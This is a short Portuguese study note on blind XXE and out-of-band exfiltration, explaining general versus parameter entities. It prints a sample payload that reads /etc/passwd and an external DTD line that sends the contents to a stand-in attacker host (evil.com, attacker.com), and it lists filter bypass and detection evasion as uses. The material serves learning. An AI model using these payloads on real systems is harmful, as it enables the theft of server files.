XXE Blind
Conceito de Out of Band
DTD Exemplo
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">
%dtd;
]>
<data>&send;</data>No arquivo evil.dtd, o atacante poderia ter:
<!ENTITY % send SYSTEM "http://attacker.com/?data=%file;">Diferença entre & e % no contexto do XXE
& e % no contexto do XXESÃmbolo
Usado para
Exemplo
&
Entidade geral
&xxe;
%
Entidade de parâmetro
%xxe;
%entidade de parametro
Usada dentro da DTD (definição de tipo de documento).
Permite incluir outras DTDs, encadear entidades e fazer ataques mais avançados, como Out-of-Band (OOB) — muito usado em Blind XXE.
Entidades de parâmetro (%) são mais poderosas, mas só funcionam dentro da DTD. Elas são usadas para fazer ataques como:
Inclusão de DTDs externas (para bypass de filtros);
Exfiltração de dados (em Blind XXE);
Encadeamento de entidades para evitar detecção.
Last updated